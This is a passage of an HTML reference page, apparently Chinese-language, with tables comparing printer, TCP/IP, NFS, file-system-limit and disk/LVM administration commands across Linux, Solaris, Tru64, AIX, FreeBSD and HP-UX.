<p class="MsoNormal" align="left"><span lang="EN-US">Lpstat</span></p>
</td>
<td width="204">
<p class="MsoNormal" align="left"><span lang="EN-US">Lpstat</span></p>
</td>
</tr>
<tr>
<td width="168">
<p class="MsoNormal" align="left"><span lang="EN-US">Remove print jobs</span></p>
</td>
<td width="180">
<p class="MsoNormal" align="left"><span lang="EN-US">Lprm</span></p>
</td>
<td width="192">
<p class="MsoNormal" align="left"><span lang="EN-US">Cancel<br />
lprm</span></td>
<td width="204">
<p class="MsoNormal" align="left"><span lang="EN-US">cancel<br />
lprm</span></td>
</tr>
<tr>
<td width="168">
<p class="MsoNormal" align="left"><span lang="EN-US">Add printer queue</span></p>
</td>
<td width="180">
<p class="MsoNormal" align="left"><span lang="EN-US">Printtool</span></p>
</td>
<td width="192">
<p class="MsoNormal" align="left"><span lang="EN-US">lpadmin -p pq</span></p>
</td>
<td width="204">
<p class="MsoNormal" align="left"><span lang="EN-US">Lprsetup</span></p>
</td>
</tr>
<tr>
<td width="168">
<p class="MsoNormal" align="left"><span lang="EN-US">Remove Printer Q</span></p>
</td>
<td width="180">
<p class="MsoNormal" align="left"><span lang="EN-US"> </span></p>
</td>
<td width="192">
<p class="MsoNormal" align="left"><span lang="EN-US">lpadmin -x pq</span></p>
</td>
<td width="204">
<p class="MsoNormal" align="left"><span lang="EN-US">Lprsetup</span></p>
</td>
</tr>
<tr>
<td width="168">
<p class="MsoNormal" align="left"><span lang="EN-US">Make default Prt</span></p>
</td>
<td width="180">
<p class="MsoNormal" align="left"><span lang="EN-US"> </span></p>
</td>
<td width="192">
<p class="MsoNormal" align="left"><span lang="EN-US">lpadmin -d pq</span></p>
</td>
<td width="204">
<p class="MsoNormal" align="left"><span lang="EN-US">export PRINTER=&#8221;lp&#8221;</span></p>
</td>
</tr>
<tr>
<td width="168">
<p class="MsoNormal" align="center"><strong><span lang="EN-US">TCP/IP</span></strong><span lang="EN-US"> </span></p>
</td>
<td width="180">
<p class="MsoNormal" align="center"><strong><span lang="EN-US">Linux( RedHat )</span></strong><span lang="EN-US"> </span></p>
</td>
<td width="192">
<p class="MsoNormal" align="center"><strong><span lang="EN-US">Solaris</span></strong><span lang="EN-US"> <strong>(SPARC)</strong></span></p>
</td>
<td width="204">
<p class="MsoNormal" align="center"><strong><span lang="EN-US">Tru64</span></strong><span lang="EN-US"> </span></p>
</td>
</tr>
<tr>
<td width="168">
<p class="MsoNormal" align="left"><span lang="EN-US">Network IP configuration</span></p>
</td>
<td width="180">
<p class="MsoNormal" align="left"><span lang="EN-US">/etc/sysconfig/network-scripts/ </span></p>
</td>
<td width="192">
<p class="MsoNormal" align="left"><span lang="EN-US">/etc/hostname.*<br />
/etc/inet/*<br />
/etc/defaultrouter</span></td>
<td width="204">
<p class="MsoNormal" align="left"><span lang="EN-US">/etc/rc.config</span></p>
</td>
</tr>
<tr>
<td width="168">
<p class="MsoNormal" align="left"><span lang="EN-US">Hosts IP addresses</span></p>
</td>
<td width="180">
<p class="MsoNormal" align="left"><span lang="EN-US">/etc/hosts</span></p>
</td>
<td width="192">
<p class="MsoNormal" align="left"><span lang="EN-US">/etc/inet/hosts</span></p>
</td>
<td width="204">
<p class="MsoNormal" align="left"><span lang="EN-US">/etc/hosts</span></p>
</td>
</tr>
<tr>
<td width="168">
<p class="MsoNormal" align="left"><span lang="EN-US">Name service switch</span></p>
</td>
<td width="180">
<p class="MsoNormal" align="left"><span lang="EN-US">/etc/nsswitch.conf</span></p>
</td>
<td width="192">
<p class="MsoNormal" align="left"><span lang="EN-US">/etc/nsswitch.conf</span></p>
</td>
<td width="204">
<p class="MsoNormal" align="left"><span lang="EN-US">/etc/svc.conf</span></p>
</td>
</tr>
<tr>
<td width="168">
<p class="MsoNormal" align="left"><span lang="EN-US">Network parameters</span></p>
</td>
<td width="180">
<p class="MsoNormal" align="left"><span lang="EN-US">sysctl -a | grep net</span></p>
</td>
<td width="192">
<p class="MsoNormal" align="left"><span lang="EN-US">Ndd /dev/[tcp|ip] ?</span></p>
</td>
<td width="204">
<p class="MsoNormal" align="left"><span lang="EN-US"> </span></p>
</td>
</tr>
<tr>
<td width="168">
<p class="MsoNormal" align="left"><span lang="EN-US">Routing daemon</span></p>
</td>
<td width="180">
<p class="MsoNormal" align="left"><span lang="EN-US">routed</span></p>
</td>
<td width="192">
<p class="MsoNormal" align="left"><span lang="EN-US">in.routed</span></p>
</td>
<td width="204">
<p class="MsoNormal" align="left"><span lang="EN-US">routed</span></p>
</td>
</tr>
<tr>
<td width="168">
<p class="MsoNormal" align="left"><span lang="EN-US">NIC Configurations</span></p>
</td>
<td width="180">
<p class="MsoNormal" align="left"><span lang="EN-US">ifconfig -a</span></p>
</td>
<td width="192">
<p class="MsoNormal" align="left"><span lang="EN-US">ifconfig –a</span></p>
</td>
<td width="204">
<p class="MsoNormal" align="left"><span lang="EN-US">ifconfig -a</span></p>
</td>
</tr>
<tr>
<td width="168">
<p class="MsoNormal" align="left"><span lang="EN-US">Secondary IP Addr</span></p>
</td>
<td width="180">
<p class="MsoNormal" align="left"><span lang="EN-US">modprobe ip_alias<br />
ifconfig eth0:1 IP</span></td>
<td width="192">
<p class="MsoNormal" align="left"><span lang="EN-US">ifconfig hme0:1 IP up</span></p>
</td>
<td width="204">
<p class="MsoNormal" align="left"><span lang="EN-US">ifconfig ln0 alias</span></p>
</td>
</tr>
<tr>
<td width="168">
<p class="MsoNormal" align="left"><span lang="EN-US">Login prompt</span></p>
</td>
<td width="180">
<p class="MsoNormal" align="left"><span lang="EN-US">/etc/issue</span></p>
</td>
<td width="192">
<p class="MsoNormal" align="left"><span lang="EN-US">BANNER @<br />
/etc/default/telnetd</span></td>
<td width="204">
<p class="MsoNormal" align="left"><span lang="EN-US">/etc/issue</span></p>
</td>
</tr>
<tr>
<td width="168">
<p class="MsoNormal" align="left"><span lang="EN-US">Increase the # of pseudo-terminals</span></p>
</td>
<td width="180">
<p class="MsoNormal" align="left"><span lang="EN-US">cd /dev<br />
./MAKEDEV -v pty</span></td>
<td width="192">
<p class="MsoNormal"><span lang="EN-US">{/etc/system}<br />
set pt_cnt = #  {SYSV}<br />
set npty = #   {BSD}</span></p>
<p class="MsoNormal"><span lang="EN-US">{/etc/iu.ap}<br />
ptsl 0 # ldterm ttcompat</span></p>
<p class="MsoNormal"><span lang="EN-US">halt<br />
boot –r</span></td>
<td width="204">
<p class="MsoNormal" align="left"><span lang="EN-US">cd /dev<br />
./MAKEDEV PTY_1</span></td>
</tr>
<tr>
<td width="168">
<p class="MsoNormal" align="left"><span lang="EN-US">Maximum # of ptys</span></p>
</td>
<td width="180">
<p class="MsoNormal" align="left"><span lang="EN-US">256</span></p>
</td>
<td width="192">
<p class="MsoNormal" align="left"><span lang="EN-US">176         {BSD}<br />
3000      {SYSV}</span></td>
<td width="204">
<p class="MsoNormal" align="left"><span lang="EN-US">8192</span></p>
</td>
</tr>
<tr>
<td width="168">
<p class="MsoNormal" align="left"><span lang="EN-US">Remote Shell</span></p>
</td>
<td width="180">
<p class="MsoNormal" align="left"><span lang="EN-US">rsh</span></p>
</td>
<td width="192">
<p class="MsoNormal" align="left"><span lang="EN-US">Rsh</span></p>
</td>
<td width="204">
<p class="MsoNormal" align="left"><span lang="EN-US">rsh</span></p>
</td>
</tr>
<tr>
<td width="168">
<p class="MsoNormal" align="left"><span lang="EN-US">YP/NIS service binder</span></p>
</td>
<td width="180">
<p class="MsoNormal" align="left"><span lang="EN-US">/sbin/ypbind</span></p>
</td>
<td width="192">
<p class="MsoNormal" align="left"><span lang="EN-US">/usr/lib/netsvc/yp/ypbind</span></p>
</td>
<td width="204">
<p class="MsoNormal" align="left"><span lang="EN-US">/usr/sbin/ypbin</span></p>
</td>
</tr>
</tbody>
</table>
<p class="MsoNormal"><span lang="EN-US"> </span></p>
<p class="MsoNormal"><span lang="EN-US"> </span></p>
<p class="MsoNormal"><span lang="EN-US"> </span></p>
<p class="MsoNormal"><span lang="EN-US"> </span></p>
<p class="MsoNormal"><span lang="EN-US"> </span></p>
<p class="MsoNormal"><span lang="EN-US"> </span></p>
<p class="MsoNormal"><span lang="EN-US"> </span></p>
<p class="MsoNormal" align="center"><strong><span>主流服务器</span></strong><strong><span lang="EN-US">UNIX</span></strong><strong><span>操作系统系统文件</span></strong></p>
<table class="MsoNormalTable" style="height: 86px;" border="1" cellspacing="0" cellpadding="0" width="685">
<tbody>
<tr>
<td width="191">
<p class="MsoNormal" align="center"><strong><span lang="EN-US">System Files</span></strong><span lang="EN-US"> </span></p>
</td>
<td width="181">
<p class="MsoNormal" align="center"><strong><span lang="EN-US">AIX</span></strong><span lang="EN-US"> </span></p>
</td>
<td width="168">
<p class="MsoNormal" align="center"><strong><span lang="EN-US">FreeBSD</span></strong><span lang="EN-US"> </span></p>
</td>
<td width="204">
<p class="MsoNormal" align="center"><strong><span lang="EN-US">HP-UX</span></strong><span lang="EN-US"> </span></p>
</td>
</tr>
<tr>
<td width="191">
<p class="MsoNormal" align="left"><span lang="EN-US">NFS exported</span></p>
</td>
<td width="181">
<p class="MsoNormal" align="left"><span lang="EN-US">/etc/exports</span></p>
</td>
<td width="168">
<p class="MsoNormal" align="left"><span lang="EN-US">/etc/exports</span></p>
</td>
<td width="204">
<p class="MsoNormal" align="left"><span lang="EN-US">/etc/exports</span></p>
</td>
</tr>
<tr>
<td width="191">
<p class="MsoNormal" align="left"><span lang="EN-US">NFS Client mounted directories</span></p>
</td>
<td width="181">
<p class="MsoNormal" align="left"><span lang="EN-US">/etc/xtab</span></p>
</td>
<td width="168">
<p class="MsoNormal" align="left"><span lang="EN-US"> </span></p>
</td>
<td width="204">
<p class="MsoNormal" align="left"><span lang="EN-US">/etc/xtab</span></p>
</td>
</tr>
<tr>
<td width="191">
<p class="MsoNormal" align="left"><span lang="EN-US">Max File System</span></p>
</td>
<td width="181">
<p class="MsoNormal" align="left"><span lang="EN-US">128 GB</span></p>
</td>
<td width="168">
<p class="MsoNormal" align="left"><span lang="EN-US"> </span></p>
</td>
<td width="204">
<p class="MsoNormal" align="left"><span lang="EN-US">128 GB</span></p>
</td>
</tr>
<tr>
<td width="191">
<p class="MsoNormal" align="left"><span lang="EN-US">Max File Size</span></p>
</td>
<td width="181">
<p class="MsoNormal" align="left"><span lang="EN-US">64 GB</span></p>
</td>
<td width="168">
<p class="MsoNormal" align="left"><span lang="EN-US"> </span></p>
</td>
<td width="204">
<p class="MsoNormal" align="left"><span lang="EN-US">128 GB</span></p>
</td>
</tr>
<tr>
<td width="191">
<p class="MsoNormal" align="left"><span lang="EN-US">Max # File Descriptors</span></p>
</td>
<td width="181">
<p class="MsoNormal" align="left"><span lang="EN-US">64 K</span></p>
</td>
<td width="168">
<p class="MsoNormal" align="left"><span lang="EN-US"> </span></p>
</td>
<td width="204">
<p class="MsoNormal" align="left"><span lang="EN-US">60~ K</span></p>
</td>
</tr>
</tbody>
</table>
<p class="MsoNormal"><span lang="EN-US"> </span></p>
<table class="MsoNormalTable" style="height: 146px;" border="1" cellspacing="0" cellpadding="0" width="700">
<tbody>
<tr>
<td width="191">
<p class="MsoNormal" align="center"><strong><span lang="EN-US">System Files</span></strong><span lang="EN-US"> </span></p>
</td>
<td width="217">
<p class="MsoNormal" align="center"><strong><span lang="EN-US">Linux (RedHat)</span></strong><span lang="EN-US"> </span></p>
</td>
<td width="156">
<p class="MsoNormal" align="center"><strong><span lang="EN-US">Solaris</span></strong><span lang="EN-US"> </span></p>
</td>
<td width="180">
<p class="MsoNormal" align="center"><strong><span lang="EN-US">Tru64</span></strong><span lang="EN-US"> </span></p>
</td>
</tr>
<tr>
<td width="191">
<p class="MsoNormal" align="left"><span lang="EN-US">NFS exported</span></p>
</td>
<td width="217">
<p class="MsoNormal" align="left"><span lang="EN-US">/etc/exports</span></p>
</td>
<td width="156">
<p class="MsoNormal" align="left"><span lang="EN-US">/etc/dfs/dfstab<br />
/etc/dfs/sharetab</span></td>
<td width="180">
<p class="MsoNormal" align="left"><span lang="EN-US">/etc/exports</span></p>
</td>
</tr>
<tr>
<td width="191">
<p class="MsoNormal" align="left"><span lang="EN-US">NFS Client mounted directories</span></p>
</td>
<td width="217">
<p class="MsoNormal" align="left"><span lang="EN-US">/var/lib/nfs/xtab</span></p>
</td>
<td width="156">
<p class="MsoNormal" align="left"><span lang="EN-US">/etc/rmtab</span></p>
</td>
<td width="180">
<p class="MsoNormal" align="left"><span lang="EN-US">/var/adm/mountdtab</span></p>
</td>
</tr>
<tr>
<td width="191">
<p class="MsoNormal" align="left"><span lang="EN-US">Max File System</span></p>
</td>
<td width="217">
<p class="MsoNormal" align="left"><span lang="EN-US">2 TB </span></p>
</td>
<td width="156">
<p class="MsoNormal" align="left"><span lang="EN-US">1 TB<br />
8000 TB {vxfs}</span></td>
<td width="180">
<p class="MsoNormal" align="left"><span lang="EN-US">128 GB {&lt;= 3.2G}<br />
512 GB {&gt;= 4.0}<br />
16 TB {advfs}</span></td>
</tr>
<tr>
<td width="191">
<p class="MsoNormal" align="left"><span lang="EN-US">Max File Size</span></p>
</td>
<td width="217">
<p class="MsoNormal" align="left"><span lang="EN-US">2 GB    {512B block   size}<br />
8192 GB {8KB block size}</span></td>
<td width="156">
<p class="MsoNormal" align="left"><span lang="EN-US">1 TB<br />
2 GB {=&lt;2.5.1}</span></td>
<td width="180">
<p class="MsoNormal" align="left"><span lang="EN-US">128 GB {&lt;= 3.2G}<br />
512 GB {&gt;= 4.0}<br />
16 TB {advfs}</span></td>
</tr>
<tr>
<td width="191">
<p class="MsoNormal" align="left"><span lang="EN-US">Max # File Descriptors</span></p>
</td>
<td width="217">
<p class="MsoNormal" align="left"><span lang="EN-US">sysctl fs.file-max</span></p>
</td>
<td width="156">
<p class="MsoNormal" align="left"><span lang="EN-US">64 K</span></p>
</td>
<td width="180">
<p class="MsoNormal" align="left"><span lang="EN-US">64 K</span></p>
</td>
</tr>
</tbody>
</table>
<p class="MsoNormal"><span lang="EN-US"> </span></p>
<p class="MsoNormal" align="center"><strong><span>主流服务器</span></strong><strong><span lang="EN-US">UNIX</span></strong><strong><span>操作系统磁盘与逻辑卷命令</span></strong></p>
<p>
<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
</p>
<table class="MsoNormalTable" style="height: 668px;" border="1" cellspacing="0" cellpadding="0" width="681">
<tbody>
<tr>
<td width="180">
<p class="MsoNormal" align="center"><strong><span lang="EN-US">DISK/LVM Commands</span></strong><span lang="EN-US"> </span></p>
</td>
<td width="168">
<p class="MsoNormal" align="center"><strong><span lang="EN-US">AIX</span></strong><span lang="EN-US"> </span></p>
</td>
<td width="156">
<p class="MsoNormal" align="center"><strong><span lang="EN-US">FreeBSD</span></strong><span lang="EN-US"> </span></p>
</td>
<td width="240">
<p class="MsoNormal" align="center"><strong><span lang="EN-US">HP-UX</span></strong><span lang="EN-US"> </span></p>
</td>
</tr>
<tr>
<td width="180">
<p class="MsoNormal"><span lang="EN-US">Filesystem table</span></p>
</td>
<td width="168">
<p class="MsoNormal"><span lang="EN-US">/etc/filesystems</span></p>
</td>
<td width="156">
<p class="MsoNormal"><span lang="EN-US">/etc/fstab</span></p>
</td>
<td width="240">
<p class="MsoNormal"><span lang="EN-US">/etc/fstab</span></p>
</td>
</tr>
<tr>
<td width="180">
<p class="MsoNormal"><span lang="EN-US">Free disk blocks</span></p>
</td>
<td width="168">
<p class="MsoNormal"><span lang="EN-US">df -k</span></p>
</td>
<td width="156">
<p class="MsoNormal"><span lang="EN-US">df -k</span></p>
</td>
<td width="240">
<p class="MsoNormal"><span lang="EN-US">Bdf</span></p>
</td>
</tr>
<tr>
<td width="180">
<p class="MsoNormal"><span lang="EN-US">Device listing</span></p>
</td>
<td width="168">
<p class="MsoNormal"><span lang="EN-US">lsdev -C</span></p>
</td>
<td width="156">
<p class="MsoNormal"><span lang="EN-US"> </span></p>
</td>
<td width="240">
<p class="MsoNormal"><span lang="EN-US">/sbin/ioscan</span></p>
</td>
</tr>
<tr>
<td width="180">
<p class="MsoNormal"><span lang="EN-US">Disk information</span></p>
</td>
<td width="168">
<p class="MsoNormal"><span lang="EN-US">bootinfo -s hdisk# </span></p>
</td>
<td width="156">
<p class="MsoNormal"><span lang="EN-US">fdisk -v ad0</span></p>
</td>
<td width="240">
<p class="MsoNormal"><span lang="EN-US">diskinfo /dev/rdsk/c#t#d#</span></p>
</td>
</tr>
<tr>
<td width="180">
<p class="MsoNormal"><span lang="EN-US">Disk Label</span></p>
</td>
<td width="168">
<p class="MsoNormal"><span lang="EN-US">lspv -l hdisk#</span></p>
</td>
<td width="156">
<p class="MsoNormal"><span lang="EN-US">disklabel ad0</span></p>
</td>
<td width="240">
<p class="MsoNormal"><span lang="EN-US">pvdisplay -v /dev/dsk/C#t#d#</span></p>
</td>
</tr>
<tr>
<td width="180">
<p class="MsoNormal"><span lang="EN-US">LVM Concepts</span></p>
</td>
<td width="168">
<p class="MsoNormal"><span lang="EN-US">Partition </span></p>
</td>
<td width="156">
<p class="MsoNormal"><span lang="EN-US">sub disk</span></p>
</td>
<td width="240">
<p class="MsoNormal"><span lang="EN-US">logical extents</span></p>
</td>
</tr>
<tr>
<td width="180">
<p class="MsoNormal"><span lang="EN-US"> </span></p>
</td>
<td width="168">
<p class="MsoNormal"><span lang="EN-US">Volume</span></p>
</td>
<td width="156">
<p class="MsoNormal"><span lang="EN-US">Volume</span></p>
</td>
<td width="240">
<p class="MsoNormal"><span lang="EN-US">logical volume</span></p>
</td>
</tr>
<tr>
<td width="180">
<p class="MsoNormal"><span lang="EN-US"> </span></p>
</td>
<td width="168">
<p class="MsoNormal"><span lang="EN-US"> </span></p>
</td>
<td width="156">
<p class="MsoNormal"><span lang="EN-US">Plex</span></p>
</td>
<td width="240">
<p class="MsoNormal"><span lang="EN-US"> </span></p>
</td>
</tr>
<tr>
<td width="180">
<p class="MsoNormal"><span lang="EN-US"> </span></p>
</td>
<td width="168">
<p class="MsoNormal"><span lang="EN-US">Volume group</span></p>
</td>
<td width="156">
<p class="MsoNormal"><span lang="EN-US"> </span></p>
</td>
<td width="240">
<p class="MsoNormal"><span lang="EN-US">volume group</span></p>
</td>
</tr>
<tr>
<td width="180">
<p class="MsoNormal"><span lang="EN-US">Journal Filesystem type</span></p>
</td>
<td width="168">
<p class="MsoNormal"><span lang="EN-US">jfs</span></p>
</td>
<td width="156">
<p class="MsoNormal"><span lang="EN-US"> </span></p>
</td>
<td width="240">
<p class="MsoNormal"><span lang="EN-US">Vxfs</span></p>
</td>
</tr>
<tr>
<td width="180">
<p class="MsoNormal"><span lang="EN-US">Default volume group</span></p>
</td>
<td width="168">
<p class="MsoNormal"><span lang="EN-US">/dev/rootvg</span></p>
</td>
<td width="156">
<p class="MsoNormal"><span lang="EN-US"> </span></p>
</td>
<td width="240">
<p class="MsoNormal"><span lang="EN-US">/dev/vg00</span></p>
</td>
</tr>
<tr>
<td width="180">
<p class="MsoNormal"><span lang="EN-US">Display volume group</span></p>
</td>
<td width="168">
<p class="MsoNormal"><span lang="EN-US">lsvg -l rootvg</span></p>
</td>
<td width="156">
<p class="MsoNormal"><span lang="EN-US"> </span></p>
</td>
<td width="240">
<p class="MsoNormal"><span lang="EN-US">vgdisplay -v vg00</span></p>
</td>
</tr>
<tr>
<td width="180">
<p class="MsoNormal"><span lang="EN-US">Modify physical volume</span></p>
</td>
<td width="168">
<p class="MsoNormal"><span lang="EN-US">chpv</span></p>
</td>
<td width="156">
<p class="MsoNormal"><span lang="EN-US"> </span></p>
</td>
<td width="240">
<p class="MsoNormal"><span lang="EN-US">Pvchange</span></p>
</td>
</tr>
<tr>
<td width="180">
<p class="MsoNormal"><span lang="EN-US">Prepare physical disk</span></p>
</td>
<td width="168">
<p class="MsoNormal"><span lang="EN-US">mkdev -c disk -l hdisk#</span></p>
</td>
<td width="156">
<p class="MsoNormal"><span lang="EN-US"> </span></p>
</td>
<td width="240">
<p class="MsoNormal"><span lang="EN-US">pvcreate</span></p>
</td>
</tr>
<tr>
<td width="180">
<p class="MsoNormal"><span lang="EN-US">List physical volume</span></p>
</td>
<td width="168">
<p class="MsoNormal"><span lang="EN-US">lspv</span></p>
</td>
<td width="156">
<p class="MsoNormal"><span lang="EN-US">vinum ld</span></p>
</td>
<td width="240">
<p class="MsoNormal"><span lang="EN-US">pvdisplay</span></p>
</td>
</tr>
<tr>
<td width="180">
<p class="MsoNormal"><span lang="EN-US">Remove disk from volume group</span></p>
</td>
<td width="168">
<p class="MsoNormal"><span lang="EN-US">reducevg</span></p>
</td>
<td width="156">
<p class="MsoNormal"><span lang="EN-US"> </span></p>
</td>
<td width="240">
<p class="MsoNormal"><span lang="EN-US">vgreduce</span></p>
</td>
</tr>
<tr>
<td width="180">
<p class="MsoNormal"><span lang="EN-US">Move logical volumes to another physical volumes</span></p>
</td>
<td width="168">
<p class="MsoNormal"><span lang="EN-US">migratepv</span></p>
</td>
<td width="156">
<p class="MsoNormal"><span lang="EN-US">vinum move -f drive object</span></p>
</td>
<td width="240">
<p class="MsoNormal"><span lang="EN-US">pvmove</span></p>
</td>
</tr>
<tr>
<td width="180">
<p class="MsoNormal"><span lang="EN-US">Create volume group</span></p>
</td>
<td width="168">
<p class="MsoNormal"><span lang="EN-US">mkvg</span></p>
</td>
<td width="156">
<p class="MsoNormal"><span lang="EN-US"> </span></p>
</td>
<td width="240">
<p class="MsoNormal"><span lang="EN-US">vgcreate</span></p>
</td>
</tr>
<tr>
<td width="180">
<p class="MsoNormal"><span lang="EN-US">Remove volume group</span></p>
</td>
<td width="168">
<p class="MsoNormal"><span lang="EN-US"> </span></p>
</td>
<td width="156">
<p class="MsoNormal"><span> </span></p>
</td>
<td width="240">
<p class="MsoNormal"><span lang="EN-US">vgremove</span></p>
</td>
</tr>
<tr>
<td width="180">
<p class="MsoNormal"><span lang="EN-US">Volume group availability</span></p>
</td>
<td width="168">
<p class="MsoNormal"><span lang="EN-US">chvg<br />
varyonvg<br />
varyoffvg</span></td>
<td width="156">
<p class="MsoNormal"><span lang="EN-US"> </span></p>
</td>
<td width="240">
<p class="MsoNormal"><span lang="EN-US">vgchange</span></p>
</td>
</tr>
<tr>
<td width="180">
<p class="MsoNormal"><span lang="EN-US">Restore volume group</span></p>
</td>
<td width="168">
<p class="MsoNormal"><span lang="EN-US"> </span></p>
</td>
<td width="156">
<p class="MsoNormal"><span> </span></p>
</td>
<td width="240">
<p class="MsoNormal"><span lang="EN-US">vgcfgrestore</span></p>
</td>
</tr>
<tr>
<td width="180">
<p class="MsoNormal"><span lang="EN-US">Exports volume group</span></p>
</td>
<td width="168">
<p class="MsoNormal"><span lang="EN-US">exportvg</span></p>
</td>
<td width="156">
<p class="MsoNormal"><span lang="EN-US"> </span></p>
</td>
<td width="240">
<p class="MsoNormal"><span lang="EN-US">vgexport</span></p>
</td>
</tr>
<tr>
<td width="180">
<p class="MsoNormal"><span lang="EN-US">Imports volume group</span></p>
</td>
<td width="168">
<p class="MsoNormal"><span lang="EN-US">importvg</span></p>
</td>
<td width="156">
<p class="MsoNormal"><span lang="EN-US"> </span></p>
</td>
<td width="240">
<p class="MsoNormal"><span lang="EN-US">vgimport</span></p>
</td>
</tr>
<tr>
<td width="180">
<p class="MsoNormal"><span lang="EN-US">Volume group listing</span></p>
</td>
<td width="168">
<p class="MsoNormal"><span lang="EN-US">lsvg</span></p>
</td>
<td width="156">
<p class="MsoNormal"><span lang="EN-US"> </span></p>
</td>
<td width="240">
<p class="MsoNormal"><span lang="EN-US">vgscan</span></p>
</td>
</tr>
<tr>
<td width="180">
<p class="MsoNormal"><span lang="EN-US">Change logical volume characteristics </span></p>
</td>
<td width="168">
<p class="MsoNormal"><span lang="EN-US">chlv</span></p>
</td>
<td width="156">
<p class="MsoNormal"><span lang="EN-US"> </span></p>
</td>
<td width="240">
<p class="MsoNormal"><span lang="EN-US">lvchange</span></p>
</td>
</tr>
<tr>
<td width="180">
<p class="MsoNormal"><span lang="EN-US">List logical volume</span></p>
</td>
<td width="168">
<p class="MsoNormal"><span lang="EN-US">lslv</span></p>
</td>
<td width="156">
<p class="MsoNormal"><span lang="EN-US">vinum lv</span></p>
</td>
<td width="240">
<p class="MsoNormal"><span lang="EN-US">lvdisplay</span></p>
</td>
</tr>
<tr>
<td width="180">
<p class="MsoNormal"><span lang="EN-US">Make logical volume</span></p>
</td>
<td width="168">
<p class="MsoNormal"><span lang="EN-US">mklv</span></p>
</td>
<td width="156">
<p class="MsoNormal"><span lang="EN-US"> </span></p>
</td>
<td width="240">
<p class="MsoNormal"><span lang="EN-US">lvcreate</span></p>
</td>
</tr>
<tr>
<td width="180">
<p class="MsoNormal"><span lang="EN-US">Extend logical volume</span></p>
</td>
<td width="168">
<p class="MsoNormal"><span lang="EN-US">extendlv</span></p>
</td>
<td width="156">
<p class="MsoNormal"><span lang="EN-US"> </span></p>
</td>
<td width="240">
<p class="MsoNormal"><span lang="EN-US">lvextend</span></p>
</td>
</tr>
<tr>
<td width="180">
<p class="MsoNormal"><span lang="EN-US">Reduce logical volume</span></p>
</td>
<td width="168">
<p class="MsoNormal"><span lang="EN-US">AIX reduce LV</span></p>
</td>
<td width="156">
<p class="MsoNormal"><span lang="EN-US"> </span></p>
</td>
<td width="240">
<p class="MsoNormal"><span lang="EN-US">lvreduce</span></p>
</td>
</tr>
<tr>
<td width="180">
<p class="MsoNormal"><span lang="EN-US">Remove logical volume</span></p>
</td>
<td width="168">
<p class="MsoNormal"><span lang="EN-US">rmlv</span></p>
</td>
<td width="156">
<p class="MsoNormal"><span lang="EN-US">vinum rm vol</span></p>
</td>
<td width="240">
<p class="MsoNormal"><span lang="EN-US">lvremove</span></p>
</td>
</tr>
<tr>
<td width="180">
<p class="MsoNormal"><span lang="EN-US">Prepare boot volumes</span></p>
</td>
<td width="168">
<p class="MsoNormal"><span lang="EN-US">bootlist -m normal</span></p>
</td>
<td width="156">
<p class="MsoNormal"><span lang="EN-US"> </span></p>
</td>
<td width="240">
<p class="MsoNormal"><span lang="EN-US">lvlnboot</span></p>
</td>
</tr>
<tr>
<td width="180">
<p class="MsoNormal"><span lang="EN-US">Remove boot volumes</span></p>
</td>
<td width="168">
<p class="MsoNormal"><span lang="EN-US"> </span></p>
</td>
<td width="156">
<p class="MsoNormal"><span> </span></p>
</td>
<td width="240">
<p class="MsoNormal"><span lang="EN-US">lvrmboot</span></p>
</td>
</tr>
<tr>
<td width="180">
<p class="MsoNormal"><span lang="EN-US">Extend File system</span></p>
</td>
<td width="168">
<p class="MsoNormal"><span lang="EN-US">chfs -a size=# /mt</span></p>
</td>
<td width="156">
<p class="MsoNormal"><span lang="EN-US"> </span></p>
</td>
<td width="240">
<p class="MsoNormal"><span lang="EN-US">extendfs /dev/vg00/lvol8<br />
fsadm -F vxfs -b {LE * 1024} /mt</span></td>
</tr>
<tr>
<td width="180">
<p class="MsoNormal"><span lang="EN-US">Reduce/Split mirrors</span></p>
</td>
<td width="168">
<p class="MsoNormal"><span lang="EN-US">rmlvcopy</span></p>
</td>
<td width="156">
<p class="MsoNormal"><span lang="EN-US"> </span></p>
</td>
<td width="240">
<p class="MsoNormal"><span lang="EN-US">lvsplit</span></p>
</td>
</tr>
<tr>
<td width="180">
<p class="MsoNormal"><span lang="EN-US">Merge mirrors</span></p>
</td>
<td width="168">
<p class="MsoNormal"><span lang="EN-US"> </span></p>
</td>
<td width="156">
<p class="MsoNormal"><span> </span></p>
</td>
<td width="240">
<p class="MsoNormal"><span lang="EN-US">lvmerge</span></p>
</td>
</tr>
<tr>
<td width="180">
<p class="MsoNormal"><span lang="EN-US">Create mirrors</span></p>
</td>
<td width="168">
<p class="MsoNormal"><span lang="EN-US">mklv -c 2</span></p>
</td>
<td width="156">
<p class="MsoNormal"><span lang="EN-US">vinum mirror drive</span></p>
</td>
<td width="240">
<p class="MsoNormal"><span lang="EN-US">lvcreate -m 1</span></p>
</td>
</tr>
<tr>
<td width="180">
<p class="MsoNormal"><span lang="EN-US">Add mirrors</span></p>
</td>
<td width="168">
<p class="MsoNormal"><span lang="EN-US">mklvcopy lv 2 </span></p>
</td>
<td width="156">
<p class="MsoNormal"><span> </span></p>
</td>
<td width="240">
<p class="MsoNormal"><span lang="EN-US">lvextend -m 1</span></p>
</td>
</tr>
<tr>
<td width="180">
<p class="MsoNormal"><span lang="EN-US">Create striped volumes</span></p>
</td>
<td width="168">
<p class="MsoNormal"><span lang="EN-US">mklv -u 3 -S 64K</span></p>
</td>
<td width="156">
<p class="MsoNormal"><span lang="EN-US">vinum stripe drive</span></p>
</td>
<td width="240">
<p class="MsoNormal"><span lang="EN-US">lvcreate -i 3 -I 64</span></p>
</td>
</tr>
<tr>
<td width="180">
<p class="MsoNormal"><span lang="EN-US">System recovery tape</span></p>
</td>
<td width="168">
<p class="MsoNormal"><span lang="EN-US">mksysb -i /dev/rmt0</span></p>
</td>
<td width="156">
<p class="MsoNormal"><span lang="EN-US"> </span></p>
</td>
<td width="240">
<p class="MsoNormal"><span lang="EN-US">/opt/ignite/bin/make_recovery</span></p>
</td>
</tr>
<tr>
<td width="180">
<p class="MsoNormal"><span lang="EN-US">Backup</span></p>
</td>
<td width="168">
<p class="MsoNormal"><span lang="EN-US">savevg -i rootvg</span></p>
</td>
<td width="156">
<p class="MsoNormal"><span lang="EN-US">vinum saveconfig</span></p>
</td>
<td width="240">
<p class="MsoNormal"><span lang="EN-US">fbackup</span></p>
</td>
</tr>
